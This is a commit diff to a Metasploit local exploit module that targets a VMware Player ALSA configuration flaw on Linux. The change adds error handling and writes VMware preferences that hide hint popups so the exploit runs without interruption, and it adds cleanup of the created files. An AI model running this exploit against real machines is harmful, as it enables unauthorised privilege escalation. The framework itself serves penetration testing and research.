Skip to content

Commit e20169c

Browse files
committed
Disable VMware hint popups
1 parent 668aa4e commit e20169c

File tree

1 file changed

+41
-3
lines changed

1 file changed

+41
-3
lines changed

modules/exploits/linux/local/vmware_alsa_config.rb

Lines changed: 41 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -86,8 +86,12 @@ def check
8686
return CheckCode::Safe
8787
end
8888

89-
config = read_file '/etc/vmware/config'
90-
Rex.sleep 0.5
89+
begin
90+
config = read_file '/etc/vmware/config'
91+
Rex.sleep 0.5
92+
rescue
93+
config = ''
94+
end
9195

9296
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
9397
@version = Gem::Version.new $1.gsub(/\.$/, '')
@@ -211,7 +215,36 @@ def exploit
211215
write_file "#{@home_dir}/.asoundrc", asoundrc
212216
Rex.sleep 0.5
213217

214-
print_status "Launching VMware Player..."
218+
vprint_status 'Disabling VMware hint popups'
219+
unless directory? "#{@home_dir}/.vmware"
220+
cmd_exec "mkdir #{@home_dir}/.vmware"
221+
Rex.sleep 0.5
222+
@remove_prefs = true
223+
end
224+
225+
if file? "#{@home_dir}/.vmware/preferences"
226+
begin
227+
prefs = read_file "#{@home_dir}/.vmware/preferences"
228+
Rex.sleep 0.5
229+
rescue
230+
prefs = ''
231+
end
232+
end
233+
234+
if prefs.nil? || prefs == ''
235+
prefs = ".encoding = \"UTF8\"\n"
236+
prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
237+
prefs << "hints.hideAll = \"TRUE\"\n"
238+
elsif prefs =~ /hints\.hideAll/i
239+
prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
240+
else
241+
prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
242+
end
243+
vprint_status "Writing #{@home_dir}/.vmware/preferences"
244+
write_file "#{@home_dir}/.vmware/preferences", prefs
245+
Rex.sleep 0.5
246+
247+
print_status 'Launching VMware Player...'
215248
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
216249
Rex.sleep 0.5
217250
end
@@ -223,6 +256,11 @@ def cleanup
223256
print_status "Removing #{@home_dir}/.asoundrc"
224257
cmd_exec "rm #{@home_dir}/.asoundrc"
225258
Rex.sleep 0.5
259+
if @remove_prefs
260+
print_status "Removing #{@home_dir}/.vmware"
261+
cmd_exec "rm #{@home_dir}/.vmware -rf"
262+
Rex.sleep 0.5
263+
end
226264
end
227265

228266
def on_new_session(session)

0 commit comments

Comments
 (0)